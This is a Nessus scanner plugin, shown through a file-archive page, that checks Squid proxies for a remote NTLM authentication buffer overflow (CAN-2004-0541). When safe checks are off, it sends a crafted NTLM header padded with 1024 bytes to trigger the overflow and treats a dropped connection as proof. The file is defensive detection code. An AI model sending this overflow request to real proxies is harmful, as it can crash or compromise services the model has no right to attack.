home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / squid_ntlm.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  118 lines

  1. if(description)
  2. {
  3.   script_id(12294);
  4.   script_bugtraq_id(10500);
  5.   script_cve_id("CAN-2004-0541");
  6.   script_version ("$Revision: 1.6 $");
  7.  
  8.   name["english"] = "Squid Remote NTLM auth buffer overflow";
  9.   script_name(english:name["english"]);
  10.  
  11.   desc["english"] = "
  12. The remote server is vulnerable to a remote buffer overflow in 
  13. the NTLM authentication routine.  Exploitation of this bug 
  14. can allow remote attackers to gain access to confidential
  15. data.  Squid 2.5*-STABLE and 3.*-PRE are reported vulnerable. 
  16.  
  17. See also: http://www.squid-cache.org 
  18.  
  19. Solution: apply the relevant patch from
  20. http://www.squid-cache.org/~wessels/patch/libntlmssp.c.patch 
  21.  
  22. Risk factor : High";
  23.  
  24.  
  25.  
  26.  script_description(english:desc["english"]);
  27.  
  28.  summary["english"] = "Squid Remote NTLM auth buffer overflow";
  29.  
  30.  script_summary(english:summary["english"]);
  31.  script_category(ACT_MIXED_ATTACK);
  32.  
  33.  script_copyright(english:"This script is Copyright (C) 2004 Tenable Network Security");
  34.  
  35.  family["english"] = "Gain a shell remotely";
  36.  
  37.  script_family(english:family["english"]);
  38.  
  39.  script_dependencies("find_service.nes", "proxy_use.nasl");
  40.  script_require_ports("Services/http_proxy", 8080, 3128);
  41.  
  42.  exit(0);
  43. }
  44.  
  45.  
  46. # start script
  47.  
  48. include("http_func.inc");
  49.  
  50. port = get_kb_item("Services/http_proxy");
  51. if (! port)
  52.     port = 3128;
  53.  
  54. if(! get_port_state(port))
  55.     exit(0);
  56.  
  57.  
  58. if (safe_checks() )
  59. {
  60.     # up to 25 chars won't overwrite any mem in SQUID NTLM helper auth
  61.     malhost = string("http://www.f0z73", rand() % 65536, "tinker.com/");
  62.     malreq = string("GET ", malhost, " HTTP/1.1\r\nHost: ", malhost, "\r\n");
  63.     malreq += string("Authorization: NTLM ", crap(20), "=\r\n\r\n");
  64.  
  65.     soc = open_sock_tcp(port);
  66.     if (! soc)
  67.         exit(0);
  68.  
  69.     send(socket:soc, data:malreq);
  70.     r = http_recv(socket:soc);
  71.     close(soc);
  72.  
  73.     if ( ! r ) exit(0);
  74.  
  75.     if (egrep(string:r, pattern:"^Server Squid/(2\.5\.STABLE[0-5]|3\.0\.PRE|2\.[0-4]\.))") )
  76.     {
  77.         mymsg =  string("According to it's version number, the remote SQUID Proxy\n");
  78.         mymsg += string("may be vulnerable to a remote buffer overflow in it's NTLM\n");
  79.         mymsg += string("authentication component, if enabled.  Run Nessus without safe\n");
  80.         mymsg += string("checks to actually test the overflow\n");
  81.         security_hole(port:port, data:mymsg);
  82.         exit(0);
  83.     }
  84. }
  85. else
  86. {
  87.     # we'll send more than 25 chars in NTLM auth...
  88.     malhost = string("http://www.f0z73", rand() % 65536, "tinker.com/");
  89.     malreq = string("GET ", malhost, " HTTP/1.1\r\nHost: ", malhost, "\r\n");
  90.     malreq += string("Authorization: NTLM ", crap(20), "=\r\n\r\n");
  91.     soc = open_sock_tcp(port);
  92.     if (! soc)
  93.         exit(0);
  94.  
  95.     send(socket:soc, data:malreq);
  96.     r = http_recv(socket:soc);
  97.     if (! r) exit(0);
  98.     close(soc);
  99.  
  100.  
  101.  
  102.     malhost = string("http://www.f0z73", rand() % 65536, "tinker.com/");
  103.     malreq = string("GET ", malhost, " HTTP/1.1\r\nHost: ", malhost, "\r\n");
  104.     malreq += string("Authorization: NTLM TlRMTVNTUAABAAAAl4II4AAA", crap(data:"A", length:1024), "=\r\n\r\n");
  105.     soc = open_sock_tcp(port);
  106.     if (! soc)
  107.         exit(0);
  108.  
  109.     send(socket:soc, data:malreq);
  110.     r = http_recv(socket:soc);
  111.     if (! r)
  112.         security_hole(port);
  113.  
  114.     close(soc);
  115.     exit(0);
  116. }
  117.         
  118.